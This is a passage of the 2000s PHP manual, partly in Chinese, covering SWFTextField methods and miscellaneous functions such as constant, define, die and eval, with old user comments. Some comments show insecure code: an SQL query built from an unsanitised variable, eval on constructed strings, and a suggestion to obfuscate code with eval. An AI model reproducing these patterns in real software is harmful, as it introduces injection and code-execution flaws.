swftextfield->setindentation() sets the indentation of the first line in the text field, to width.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setHeight | 上一级 | SWFTextField->setLeftMargin


SWFTextField->setLeftMargin

(no version information, might be only in CVS)

SWFTextField->setLeftMargin -- Sets the left margin width of the text field

Description

void swftextfield->setleftmargin ( int width )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setleftmargin() sets the left margin width of the text field to width. Default is 0.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setindentation | 上一级 | SWFTextField->setLineSpacing


SWFTextField->setLineSpacing

(no version information, might be only in CVS)

SWFTextField->setLineSpacing -- Sets the line spacing of the text field

Description

void swftextfield->setlinespacing ( int height )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setlinespacing() sets the line spacing of the text field to the height of height. Default is 40.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setLeftMargin | 上一级 | SWFTextField->setMargins


SWFTextField->setMargins

(no version information, might be only in CVS)

SWFTextField->setMargins -- Sets the margins width of the text field

Description

void swftextfield->setmargins ( int left, int right )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setmargins() set both margins at once, for the man on the go.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setLineSpacing | 上一级 | SWFTextField->setname


SWFTextField->setname

(no version information, might be only in CVS)

SWFTextField->setname -- Sets the variable name

Description

void swftextfield->setname ( string name )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setname() sets the variable name of this text field to name, for form posting and action scripting purposes.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setMargins | 上一级 | SWFTextField->setrightMargin


SWFTextField->setrightMargin

(no version information, might be only in CVS)

SWFTextField->setrightMargin -- Sets the right margin width of the text field

Description

void swftextfield->setrightmargin ( int width )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield->setrightmargin() sets the right margin width of the text field to width. Default is 0.

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setname | 上一级 | SWFTextField


SWFTextField

(PHP 4 >= 4.0.5)

SWFTextField -- Creates a text field object

Description

SWFTextField swftextfield ( [int flags] )

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

swftextfield() creates a new text field object. Text Fields are less flexible than swftext() objects- they can't be rotated, scaled non-proportionally, or skewed, but they can be used as form entries, and they can use browser-defined fonts.

The optional flags change the text field's behavior. It has the following possibles values :

  • SWFTEXTFIELD_DRAWBOX draws the outline of the textfield

  • SWFTEXTFIELD_HASLENGTH

  • SWFTEXTFIELD_HTML allows text markup using HTML-tags

  • SWFTEXTFIELD_MULTILINE allows multiple lines

  • SWFTEXTFIELD_NOEDIT indicates that the field shouldn't be user-editable

  • SWFTEXTFIELD_NOSELECT makes the field non-selectable

  • SWFTEXTFIELD_PASSWORD obscures the data entry

  • SWFTEXTFIELD_WORDWRAP allows text to wrap

Flags are combined with the bitwise OR operation. For example,
<?php
$t = newSWFTextField(SWFTEXTFIELD_PASSWORD | SWFTEXTFIELD_NOEDIT);
?>
creates a totally useless non-editable password field.

SWFTextField has the following methods : swftextfield->setfont(),
swftextfield->setbounds(), swftextfield->align(),
swftextfield->setheight(), swftextfield->setleftmargin(),
swftextfield->setrightmargin(), swftextfield->setmargins(),
swftextfield->setindentation(), swftextfield->setlinespacing(),
swftextfield->setcolor(), swftextfield->setname() and
swftextfield->addstring().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField->setrightMargin | 上一级 | Miscellaneous Functions


Miscellaneous Functions

PHP 手册
后退 前进

LXXVIII. Miscellaneous Functions

简介

These functions were placed here because none of the other categories seemed to fit.

需求

要编译本扩展模块不需要外部库文件。

安装

本函数库作为 PHP 内核的一部分，不用安装就能使用。

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. Misc. Configuration Options

Name | Default | Changeable | Changelog
ignore_user_abort | "0" | PHP_INI_ALL |
highlight.string | "#DD0000" | PHP_INI_ALL |
highlight.comment | "#FF8000" | PHP_INI_ALL |
highlight.keyword | "#007700" | PHP_INI_ALL |
highlight.bg | "#FFFFFF" | PHP_INI_ALL |
highlight.default | "#0000BB" | PHP_INI_ALL |
highlight.html | "#000000" | PHP_INI_ALL |
browscap | NULL | PHP_INI_SYSTEM |
有关 PHP_INI_* 常量进一步的细节与定义参见附录 G。

以下是配置选项的简要解释。

ignore_user_abort boolean

TRUE by default. If changed to FALSE scripts will be terminated as soon as they try to output something after a client has aborted their connection.

See also ignore_user_abort().

highlight.bg string, highlight.comment string, highlight.default string, highlight.html string, highlight.keyword string, highlight.string string

Colors for Syntax Highlighting mode. Anything that's acceptable in <font color="??????"> would work.

browscap string

Name (e.g.: browscap.ini) and location of browser capabilities file. See also get_browser().

资源类型

本扩展模块未定义任何资源类型。

预定义常量

以下常量由本扩展模块定义，因此只有在本扩展模块被编译到 PHP 中，或者在运行时被动态加载后才有效。

CONNECTION_ABORTED (integer)

CONNECTION_NORMAL (integer)

CONNECTION_TIMEOUT (integer)

__COMPILER_HALT_OFFSET__ (integer)

Added in PHP 5.1.

目录
connection_aborted -- Returns TRUE if client disconnected
connection_status -- Returns connection status bitfield
connection_timeout -- Return TRUE if script timed out
constant -- Returns the value of a constant
define -- Defines a named constant
defined -- Checks whether a given named constant exists
die -- Equivalent to exit()
eval -- Evaluate a string as PHP code
exit -- Output a message and terminate the current script
get_browser -- Tells what the user's browser is capable of
__halt_compiler -- Halts the compiler execution
highlight_file -- Syntax highlighting of a file
highlight_string -- Syntax highlighting of a string
ignore_user_abort -- Set whether a client disconnect should abort script execution
pack -- Pack data into binary string
php_check_syntax -- Check the PHP syntax of (and execute) the specified file
php_strip_whitespace -- Return source with stripped comments and whitespace
show_source -- 别名 highlight_file()
sleep -- Delay execution
time_nanosleep -- Delay for a number of seconds and nanoseconds
time_sleep_until -- Make the script sleep until the specified time
uniqid -- Generate a unique ID
unpack -- Unpack data from binary string
usleep -- Delay execution in microseconds

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
SWFTextField | 上一级 | connection_aborted


connection_aborted

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

connection_aborted -- Returns TRUE if client disconnected

Description

int connection_aborted ( void )

Returns TRUE if client disconnected. See the Connection Handling description in the Features chapter for a complete explanation.

See also connection_status(), and ignore_user_abort().

add a note add a note User Contributed Notes
rickyale at ig dot com dot br
14-Dec-2002 08:29
I know why nobody can use the functions connection_XXX(). If the php code do not send anything to buffer, the php dont check the connection, so, the connection_timeout will still NORMAL and will not be ABORTED.

Ex

<?php
Set_Time_Limit(0);  //this you know what gonna do
Ignore_User_Abort(True); //this will force the script running at the end

While(!Connection_Aborted()) {
   Echo "\n"; //this will save de while
   Flush(); //Now php will check de connection
   While(CONDITION) {
       Echo "My chat....";
   }
 Sleep(1);
}
?>

end
add a note add a note

后退 | 起点 | 前进
Miscellaneous Functions | 上一级 | connection_status


connection_status

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

connection_status -- Returns connection status bitfield

Description

int connection_status ( void )

Returns the connection status bitfield. See the Connection Handling description in the Features chapter for a complete explanation.

See also connection_aborted(), and ignore_user_abort().

add a note add a note User Contributed Notes
Michael
21-Mar-2005 01:59
Yes it is true. I made some experiments with that functions 'connection_abortes()'. First a source made an error, which I see. They wrote: ignore_user_abort();

But that only gives you the status of the 'Abort-Setting'.
So I try (with little hope)
  'ignore_user_abort(true);'
And as I readout the setting it has changed it...

Next I see that the script runs after I disconnect with the site. But other experiments fail. I try some things and then it
was logical after an experiment: flush() is one of the necessary things. Without those output to the client the function
         'connection_aborted()' stays on 'false'
The Second is that you have to output something. Without that it also doesn't works.
So I now know that you have to echo something and then output the buffer. Only then 'the Script' (or the function)
'knows' that the client is disconnected.
toppi at kacke dot de
17-Jun-2004 12:06
Notice !

if you running a loop (while, foeach etc..)  you have to send something to the browser to check the status.

Example:

while(1){
   if (connection_status()!=0){
   die;
   }
}
doesnt work, if the user break/close the browser.

But a:

while(1){
   Echo "\n"; //<-- send this to the client
   if (connection_status()!=0){
   die;
   }
}
will work :)

i hope it will help some of you to safe some time :)

Toppi
carlos at fischerinformatica dot com dot br
31-Jan-2002 10:58
Very very useful!
I was building a chat and I wanted my script to detect when the browser was closed, so the user could be deleted from the online_users table.

<?
echo str_repeat(" ",300);
ignore_user_abort(true); //this way, the user can stop the output, but not the script.
while (true) {
         echo "test<br>\n";
         flush();
         sleep(2);
         if (connection_status()!=0){
                 include ('dbconnect.inc');
                 $sql="delete from online_users where online_user=$user";
                 $sql_exec=pg_exec($vChatDB, $sql);
                 die(); //kills the script
         }
}
?>
add a note add a note

后退 | 起点 | 前进
connection_aborted | 上一级 | connection_timeout


connection_timeout

(PHP 3 >= 3.0.7, PHP 4 <= 4.0.4)

connection_timeout -- Return TRUE if script timed out

Description

bool connection_timeout ( void )

Returns TRUE if script timed out.

Deprecated

This function is deprecated, and doesn't even exist anymore as of 4.0.5.

See the Connection Handling description in the Features chapter for a complete explanation.

See also connection_status().

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
connection_status | 上一级 | constant


constant

(PHP 4 >= 4.0.4, PHP 5)

constant -- Returns the value of a constant

Description

mixed constant ( string name )

constant() will return the value of the constant indicated by name.

constant() is useful if you need to retrieve the value of a constant, but do not know its name. i.e. It is stored in a variable or returned by a function.

例子 1. constant() example

<?php

define("MAXSIZE", 100);

echo MAXSIZE;
echo constant("MAXSIZE"); // same thing as the previous line

?>

See also define(), defined() and the section on Constants.

add a note add a note User Contributed Notes
service at dual-creators dot de
17-May-2006 01:00
It's easily to user constant() and define() to translate some words from your database-saves.

For example:
You have a table userprofil and one coloumn is "gender".
Gender can be male or female but you will display "maennlich" or "weiblich" (german words for it - whatever...)

First step: Fetch into $Gender

Second:
define("male", "maennlich");
define("female", "weiblich");

Third:
echo constant($Gender);

Now, the index of the variable $Gender will be handled like a constant!

(It works like "echo male;" for better understanding)

And a result of this, it displays maennlich btw. weiblich!

greetz
Trevor Blackbird > yurab.com
19-Apr-2006 05:58
Technically you can define constants with names that are not valid for variables:

<?php

// $3some is not a valid variable name
// This will not work
$3some = 'invalid';

// This works
define('3some', 'valid');
echo constant('3some');

?>

Of course this is not a good practice, but PHP has got you covered.
timneill at hotmail dot com
26-Nov-2005 04:39
Please note when using this function from within a class to retrieve a php5 class constant, ensure you include the 'self::'.

class Validate
{
   const TEXT_MAX = 65536;

   //-- this will work
   public static function textWORKS($_value, $_type = 'TEXT')
   {
       $_max = constant('self::' . $_type . '_MAX');
       return (strlen($_value) <= $_max ? true : false);
   }

   //-- this will fail
   public static function textFAILS($_value, $_type = 'TEXT')
   {
       //-- Debug Warning: constant(): Couldn't find constant TEXT_MAX
       $_max = constant($_type . '_MAX');
       return (strlen($_value) <= $_max ? true : false);
   }
}
11-Oct-2005 10:20
In reply to VGR_experts_exchange at edainworks dot com

To check if a constant is boolean, use this instead:

<?php
if (TRACE === true)  {}
?>

Much quicker and cleaner than using defined() and constant() to check for a simple boolean.

IMO, using ($var === true) or ($var === false) instead of ($var) or (!$var) is the best way to check for booleans no matter what. Leaves no chance of ambiguity.
Joachim Kruyswijk
14-Nov-2004 01:12
The constant name can be an empty string.

Code:

define("", "foo");
echo constant("");

Output:

foo
VGR_experts_exchange at edainworks dot com
19-Sep-2003 08:32
Hello. This applies to constants being defined as Boolean values, and may-be applies generally.

I advise you to NOT use this in an included file, in a function or elsewhere outside the scope where the define('TRACE',TRUE) is placed) :

if (TRACE) {}

This will always evaluate to TRUE if the constant is not defined previously (the story about this becoming an string 'TRACE', thus evaluating to TRUE)

Use this :

<?php
if ((defined('TRACE'))AND(constant('TRACE')))  {}
?>
Andre
28-Apr-2003 04:10
Maybe this is useful:

$file_ext is the file Extension of the image

<?php
if ( imagetypes() & @constant('IMG_' . strtoupper($file_ext)) )
{
   $file_ext = $file_ext == 'jpg' ? 'jpeg' : $file_ext;
   $create_func = 'ImageCreateFrom' . $file_ext;
}
?>
add a note add a note

后退 | 起点 | 前进
connection_timeout | 上一级 | define


define

(PHP 3, PHP 4, PHP 5)

define -- Defines a named constant

Description

bool define ( string name, mixed value [, bool case_insensitive] )

Defines a named constant. See the section on constants for more details.

The name of the constant is given by name; the value is given by value.

The optional third parameter case_insensitive is also available. If the value TRUE is given, then the constant will be defined case-insensitive. The default behaviour is case-sensitive; i.e. CONSTANT and Constant represent different values.

例子 1. Defining Constants

<?php
define("CONSTANT", "Hello world.");
echo CONSTANT; // outputs "Hello world."
echo Constant; // outputs "Constant" and issues a notice.

define("GREETING", "Hello you.", true);
echo GREETING; // outputs "Hello you."
echo Greeting; // outputs "Hello you."

?>

如果成功则返回 TRUE，失败则返回 FALSE。

See also defined(), constant() and the section on Constants.

add a note add a note User Contributed Notes
xademax at gmail dot com
04-May-2006 08:46
<?php
class Define
{
   var $Name;
   var $Func;

   function Define($Name, $Func)
   {
       $this->Name = $Name;
       $this->Func = &$Func;
   }
}

$DEFINES = array();

function set_define($Name, $Value, $Args)
{
   global $DEFINES;
   foreach($DEFINES as $DEFINE)    if($DEFINE->Name == $Name) return false;
   $DEFINES[] = new Define($Name, create_function($Args, 'return "' . $Value . '";'));
}

function get_define($Name, $Args = NULL)
{
   global $DEFINES;
   foreach($DEFINES as $DEFINE) if($DEFINE->Name == $Name)
   {
       $Func = $DEFINE->Func;
       return eval('return $Func(' . implode(",", $Args) . ');');
   }
   return false;
}
?>

<?php
set_define("ERROR", 'There was an error : $error\n', '$error');
echo get_define("ERROR", array("pouet"));
?>

This Exemple will show :
There was an error : pouet
RQuadling at GMail dot com
08-Mar-2006 05:18
Yes. I did mistyped the base value.

And I only use the constants in their text form (the whole point of them really).

They are actually used in a XML structure as tags (now). Previously they where the keys in a massive multi-dimensional array.

If I added a new constant, nothing changed in terms of the data storage. If I removed one though, the data would not work and neither would the program using the data. Which is good news.
bobbykjack at yahoo dot co dot uk
19-Feb-2006 04:12
benjamin, I recognise your warning, but surely a key point of constants is that their values should NOT be referenced anywhere other than their definition.

richard, your solution could be made slightly safer with the use of a function for this process, e.g.

<?php
$iRuleVal = 0;
adefine ('RULE_CALLBACK_FORMAT');
adefine ('RULE_CHANGE_CALLBACK_ON_ERROR');
adefine ('RULE_CHANGE_COMPARE_DATE');
// etc.

// 'a' for auto
function adefine($constant_name)
{
   global $iRuleVal;

   if (defined($constant_name))
   {
       // error handling should go here
       return;
   }

   // good idea to use pre-increment; avoids use of 0
   // and associated equality issues with empty string
   // via type conversion
   define($constant_name, ++$iRuleVal);
}
?>

I think you also misnamed the original local variable - it should be $iRuleVal.
benjamin at metaconsult dot fr
08-Dec-2005 08:59
a warning for richard below (and who is reading the advice below).

When you remove constant in your pool, but already stored some of those values in a database or somewhere else as reference, you will surely mess up your application data !

So such an auto-definition for your constants is useful when you don't store those values anywhere else !
richard dot quadling at bandvulc dot co dot uk
01-Dec-2005 07:40
In trying to remove magic numbers from my code, I often use sets of defines. Some sets get quite big.

I sort my defines so that they are alphabetically arranged - for me this is easier.

The issue now comes as to what is the next available number or what happens to the number sequence if I remove a define.

My solution is to use the following mechanism.

<?php
$iRuleBase = 0;
define ('RULE_CALLBACK_FORMAT', ++$iRuleVal);
define ('RULE_CHANGE_CALLBACK_ON_ERROR', ++$iRuleVal);
define ('RULE_CHANGE_COMPARE_DATE', ++$iRuleVal);
define ('RULE_CHANGE_OLD_COLUMN', ++$iRuleVal);
define ('RULE_CHANGE_ON_DATE', ++$iRuleVal);
define ('RULE_DESC', ++$iRuleVal);
define ('RULE_EXPECTED_RESULT', ++$iRuleVal);
define ('RULE_LIMIT_TO_PERIOD', ++$iRuleVal);
define ('RULE_MATCH_ARRAY', ++$iRuleVal);
define ('RULE_MATCH_COLUMN', ++$iRuleVal);
define ('RULE_MESSAGE', ++$iRuleVal);
define ('RULE_REGEX', ++$iRuleVal);
?>

I no longer need to know ANY of the magic numbers. I can add and remove them at will and the code will show errors for the missing ones as the constant will be undefined. Much better than using the number and forgetting what entry 6 is.

You also have the value of $iRuleVal to indicate the next define if needed.

The defines then work like ...

<?php
$aGlobalValidationDefinitions = array(
   'CH_SORT' => array
       (
       RULE_DESC => 'Contract on Cost Header / Project must match the Contract on the order.',
       RULE_MATCH_COLUMN => 'POH_CONTRACT',
       ),
   'CH_STATUS' => array
       (
       RULE_CHANGE_CALLBACK_ON_ERROR => 'dataentryValidateChanges',
       RULE_CHANGE_COMPARE_DATE => 'POH_DATE_AUTH',
       RULE_CHANGE_OLD_COLUMN => 'OLDSTATUS',
       RULE_CHANGE_ON_DATE => 'VSC_DATECHANGED',
       RULE_DESC => 'Vehicle Status must be A - Active or R - Reopened.',
       RULE_LIMIT_TO_PERIOD => 'D',
       RULE_REGEX => '^(?=[AR])(.)$',
       ),
   'POD_COSTHEADER' => array
       (
       RULE_DESC => 'Must not start with "UNKNOWN".',
       RULE_REGEX => '^(?!UNKNOWN)(.*)$',
       ),
   );
?>

No magic numbers. You can add or remove defines without ever worrying about breaking the code and you never have 2 defines with the same value!
some at user dot com
01-Dec-2005 02:46
My hack at constant arrays :

   function carray($const = null, $index = null)
   {
     static $carrays;

     if ($const === null)
     {
         $i = count($carrays);
         $carrays[$i] = $index;

         return $i;

     } else
     {
         return $index === null ? $carrays[$const] : $carrays[$const][$index];
     }
   }

   function aconst()
   {
     $args = func_get_args();

     if (count($args) == 1 && is_array($args[0]))
     {
         return carray(null, $args[0]);

     } else
     {
         return carray(null, $args);
     }
   }

Use like this:

   define('NRWORDS', aconst('zero', 'one', 'two', 'three'));

   define('STUNT_DESC', aconst(array(
     STUNT_TWOWHEELS => 'Two wheels',
     STUNT_WHEELIE  => 'Wheelie',
     STUNT_STOPPIE  => 'Stoppie'
   )));

   print(carray(NRWORDS, 2));

   print(carray(STUNT_DESC, STUNT_WHEELIE));

   $arr = carray(STUNT_DESC);

   print_r($arr[STUNT_STOPPIE]);

bvr.
IK
15-Nov-2005 10:42
[Editor's Note: Obviously, constants cannot be redefined. That is the meaning of a constant.]

Just a quick note.. If a constant is once defined, any subsequent attempts to define it once again are ignored.

<?
define('WHAT_DID_YOU_EXPECT', 'First');
define('WHAT_DID_YOU_EXPECT', 'Second');
echo WHAT_DID_YOU_EXPECT
?>

Outputs 'First'.

I really thought I have gone mad when I saw just the last two lines of code (the first one was in another file) and it was echoing 'First'..
dsan at pml dot ac dot uk
08-Apr-2005 11:17
Just to clarify what 'david at nospam webgroup dot org' said:
${} is actually the syntax for 'variable variables'.
So in this specific case:
Starting with the line:
${MY_CONST} = serialize(array('foo' => 'bar'));
PHP will expand the constant and use it as the name of the variable:
$test = serialize(array('foo' => 'bar'));

So in fact there is no assignment to a constant (which would defy the definition of 'constant') but instead an assignment to a variable named by the _value_ of the constant.
david at nospam webgroup dot org
01-Apr-2005 07:14
To the comment posted by Raphael Crawford Marks:

You're actually manipulating the variable $test.  The value of a constant obviously cannot be changed after it is set: hence the term constant.  Try setting $test to something first, then running your code.  It *WILL* be clobbered.
Raphael Crawford-Marks
11-Mar-2005 03:28
Notes on using serialize to store an array in a constant:

<?php
define('MYCONST','test'); //define constant with junk value
${MYCONST} = serialize(array("foo" => "bar")); //change value to serialized array
echo "constant: ".${MYCONST};
echo "<br>";
$unserialized = unserialize(${MYCONST}); //unserialize
echo "unserialized: ".$unserialized['foo'];
?>

Note that you have to use ${} around the constant name for this to work.
12-Feb-2005 12:45
Better pack with define() for all who really miss Java package management:

Use this "manifest.php" on very first script start or copy it to your config.somehow.php.

<?php
$__packages = array(
   "org.ilove.java.more",
   "org.ilove.python.too",
   "net.php.isok"
);

define("C_IS_WINDOWS", false);
define("C_DIR", (C_IS_WINDOWS ? "\\" : "/"));
define("C_PATH_ROOT", str_replace("/", C_DIR, $_SERVER["DOCUMENT_ROOT"]).C_DIR);
define("C_PATH_CORE", C_PATH_ROOT."core".C_DIR);
define("C_PATH_CLASS", C_PATH_CORE."classes".C_DIR);
define("C_APPLICATION_BASE", C_PATH_CORE.C_DIR."application".C_DIR);

$total_packages = 0;
$i = sizeof($__packages);
while($i-- > 0) {
   $tokens = explode(".", $__packages[$i]);
   $j = sizeof($tokens);
   while($j-- > 0) {
       $token = strtolower(trim($tokens[$j]));
       if(strlen($token) > 0 && !defined($token)) {
           define($token, ($j == 0 ? C_PATH_CLASS : "").$tokens[$j].C_DIR);
           $total_packages++;
       }
   }
}
define("C_PACKAGE_COUNT", $total_packages);
?>

With restrictions on non-package constants, you now can call your files like that:

<?php

require_once org.ilove.java.more."Than.php";

?>

Regards
Robi
tech at litigationdataservices dot com
26-Jan-2005 05:05
If your oft-used array is already defined, but the key value doesn't start at ['0'], --for example if you need an array of state names conforming to GIS codes, it's far easier to define the array in a low-level class and call it by

$classname->states[$STATEID];

than it is to try to define it as a constant or use an function to call it later from a free-standing array. It's also useful to do it this way when all you want to do is recall a fixed array value, but don't necessarily want to hit the database just to get it.
technopasta at yahoo dot com dot au
03-Jan-2005 09:55
You can't use arrays in constants, so I came up with this two line function to get around it.

<?php

function const_array($constant) {
  $array = explode(",",$constant);
  return $array;
                         };
?>

So now if you define a constant like

<? define('myconstant','item1,item2,item3') ?>

and then use my function

<? $myarray = const_array(myconstant); ?>

$myarray will now contain an array with
item1
item2
item3

Hope this is useful for someone...
konstantin #at schukraft #dot org
23-Sep-2003 06:13
Constants MUST evaluate to scalar values only.
You are encouraged to use serialize/unserlialize
to store/retrieve an array in a constant:

define('CONST',serialize(array('a','b','foo'=>'bar')));
var_dump(CONST);
var_dump(unserialize(CONST));
phpnet at trenkner dot de
15-Mar-2003 07:59
---[Editor's Note]---
As of PHP 5.0.0 this is possible. You can define class-only constants, which can be called like Foo::Constant1 from the outside
---[End Note]---

Please keep in mind that

class AClass {
  define ("Const1", "Value1");
  ... }

didn't work. You have to make all your constant definitions before you open the class. So

define ("Const1", "Value1");
class AClass {
  ... }

would be correct.
radovan dot biciste at managestar dot com
07-Nov-2001 12:45
Wonder how to work with variable which name is stored in a constant?
Here it is:
<?php
define("VAR_NAME","test");
// assigning value
${VAR_NAME} = "value";
// getting value back
echo ${VAR_NAME};
?>
ste at opk dot no
30-Aug-2001 01:41
To use a constant to show an element of an array inside a string:
define ('C', 0); print ("element 0: {$a[C]}");
The { & } around the variable signals that what's inside should be treated as a variable and not a string.
Note that 'print ("a constant:{C}");' wont work as ZERO is a constant.
add a note add a note

后退 | 起点 | 前进
constant | 上一级 | defined


defined

(PHP 3, PHP 4, PHP 5)

defined -- Checks whether a given named constant exists

Description

bool defined ( string name )

Returns TRUE if the named constant given by name has been defined, FALSE otherwise.

例子 1. Checking Constants

<?php
/* Note the use of quotes, this is important.  This example is checking
* if the string 'CONSTANT' is the name of a constant named CONSTANT */
if (defined('CONSTANT')) {
    echo CONSTANT;
}
?>

注: If you want to see if a variable exists, use isset() as defined() only applies to constants. If you want to see if a function exists, use function_exists().

See also define(),
constant(),
get_defined_constants(),
function_exists(), and the section on
Constants.

add a note add a note User Contributed Notes
Harald Ponce de Leon
18-May-2006 11:24
Beware that some PHP versions return an integer (1 or 0) instead of a boolean.

Confirmed PHP versions that return an integer are 4.3.2 and 4.3.4.

Relevant bug report:

http://bugs.php.net/bug.php?id=27443

This make it impossible to use the following, when the PHP version is not known:

if (defined('CONSTANT') === true) {
}

Relevant commit for PHP 4.3.5 (thanks to Pollita at #php.thinktank):

http://cvs.php.net/viewcvs.cgi/Zend/zend_builtin_functions.c?
r1=1.124.2.13&r2=1.124.2.14
ndove at cox dot net
28-Jan-2005 11:20
In PHP5, you can actually use defined() to see if an object constant has been defined, like so:

<?php

class Generic
{
   const WhatAmI = 'Generic';
}

if (defined('Generic::WhatAmI'))
{
   echo Generic::WhatAmI;
}

?>

Thought it may be useful to note.

-Nick
Craig at chatspike dot net
01-Dec-2003 03:57
This can be useful if you want to protect pages which get included from outsiders eyes, on your mail page (the page viewable by people) put define("X", null); then on all your other pages, you can then do something like:

if (!defined("X")) {
   echo "You Cannot Access This Script Directly, Have a Nice Day.";
   exit();
}

And your page is a good as protected :)
add a note add a note

后退 | 起点 | 前进
define | 上一级 | die


die

(PHP 3, PHP 4, PHP 5)

die -- Equivalent to exit()

Description

This language construct is equivalent to exit().

add a note add a note User Contributed Notes
massimo dot piano at hotmail dot it
04-May-2006 03:37
You may use die() or the equivalent exit() after a redirection ( via the header statement )

<code>
header("location : http://www.differentpage.com");
die();
<code>

this may seem strange but you have to rememeber that header affects the client not the server script ( in fact it will continue to be executed if you dont stop it)
of course you can let the script continue but someone forget this behaviour and get "strange errors"
enumeration at gmail dot com
30-Dec-2005 04:48
It's very useful on websites to have all your code in functions, then use "return" instead of die. For example:

function log_in() {
   if(!isset($_POST[password])) {
       print "You must supply a password.";
       return;
   }

// rest of the login function here
}

This way it exits out of the function, gives an error message, but doesn't keep the website from finishing loading.
cairey at comcast dot net
08-Jun-2005 04:30
The die function can also be used within variables and arrays, as long as it is not within quotes.

Example:

$_POST[die];

This will quit the script as it would if you just called die; You can, however, send die as a POST variable as seen below:

$_POST['die'];
matt at hehe dot gov
22-Mar-2005 12:17
If you want to issue die on a file that is inside an include, it will keep everything else from running through and finishing.
You can prevent this by using return;. It ends the current file but lets the others keep going.
29-Sep-2004 12:36
Perhaps the Coldfusion query below can be answered as follows:
---------
(From the "User Contributed Notes" for the PHP construct "exit")

nospam at mydomain dot com
27-Sep-2004 10:12
Using return instead of exit is to prefer when you want the script that you have included inside another script to die but continue to execute the main script.
// Radcliff
---------
louis t mulliemedia.com
24-Jun-2004 02:13
In regards to xagent_ at hotmail dot com
03-Sep-2002 05:22

A useful way of preventing this is to wrap the die function :

<?php
function die_script($errmsg)
{
 print $errmsg . "</body></html>";
 die;
}
?>
21-Apr-2004 01:46
die(__LINE__); won't say the line number because die() wants a string. do die(''.__LINE__); or die(__FUNCTION__ . ':' . __LINE);
matthias dot schniedermeyer at telefonica dot de
14-Oct-2003 10:29
To get a perl-like die you can/should append this snipped
 . " File: " . __FILE__ . " on line: " . __LINE__
e.g.
die ("Error" . " File: " . __FILE__ . " on line: " . __LINE__);
xagent_ at hotmail dot com
04-Sep-2002 08:22
Note that using the die() function will stop the entire script after that point from being run, so if you issue the die function within a open HTML tag, the HTML tag will remain open, which can seriously effect the browsers output to the user, expecially if its used inside an open <TABLE> tag.
add a note add a note

后退 | 起点 | 前进
defined | 上一级 | eval


eval

(PHP 3, PHP 4, PHP 5)

eval -- Evaluate a string as PHP code

Description

mixed eval ( string code_str )

eval() evaluates the string given in code_str as PHP code. Among other things, this can be useful for storing code in a database text field for later execution.

There are some factors to keep in mind when using eval(). Remember that the string passed must be valid PHP code, including things like terminating statements with a semicolon so the parser doesn't die on the line after the eval(), and properly escaping things in code_str.

Also remember that variables given values under eval() will retain these values in the main script afterwards.

A return statement will terminate the evaluation of the string immediately. As of PHP 4, eval() returns NULL unless return is called in the evaluated code, in which case the value passed to return is returned. In case of a parse error in the evaluated code, eval() returns FALSE. In case of a fatal error in the evaluated code, the whole script exits. In PHP 3, eval() does not return a value.

例子 1. eval() example - simple text merge

<?php
$string = 'cup';
$name = 'coffee';
$str = 'This is a $string with my $name in it.';
echo $str. "\n";
eval("\$str = \"$str\";");
echo $str. "\n";
?>

上例将输出：

This is a $string with my $name in it.
This is a cup with my coffee in it.

提示: 为了防止程序直接将结果输出到浏览器，可以使用输出控制函数来捕获此函数的输出，并把它们保存到一个例如 string 类型的变量中。

See also call_user_func().

add a note add a note User Contributed Notes
burninleo at gmx dot net
25-May-2006 08:51
The only way to retreive information on parse errors in eval'd code seems to be the output buffering.

<?PHP
// Append a return true to php-code to check on errors
$code.= "\nreturn true;";
// Send any output to buffer
ob_start();
// Do eval()
$check = eval($code);
$output = ob_get_contents();
ob_end_clean();
// Send output or report errors
if ($check === true) {
  echo $output;
} else {
  // Manually parse output for errors and
  // generate usable information for the user
  // especially content of error-lines.
  $pattern = '/^\s*Parse error\s*:(.+) in (.+) on line (\d+)\s*$/m';
  etc ...
}
aoeuid at gmail dot com
15-May-2006 03:50
Just as a reply to 'evildictaitor', eval() obfuscation can be of use use against script kiddies, or people with little free time if implemented more intelligently.

And by more intelligently I mean more randomly, do perhaps a hundred iterations and randomly choose the obfuscation method every iteration. Doing rot13 with base64 once, then something from Mcrypt() and so on. Might take its toll on performance, but atleast isn't _that_ easily solved by eval->print :)

Of course, obfuscation isn't really a way to securing your code, but might work if one's in a hurry and doesn't have anything else better.
evildictaitor at hotmail dot com
02-Apr-2006 01:34
Don't use eval to obfruscate code. Don't. No. stop. Never. Ever. It's so incredibly easy to decode, it's not worth it.

<?php

  $someAwfulObfrsucatedCode = "1209;nlu[qer;j12.n";
  function someImpressiveDeobfruscationRoutine($string){
   ..somecode..
   return $realCode;
  }

  eval(someImpressiveDeobfruscationRoutine($someAwfulObfruscatedCode));

?>

To decode, try replacing eval with echo, and voila, your code in-tact.

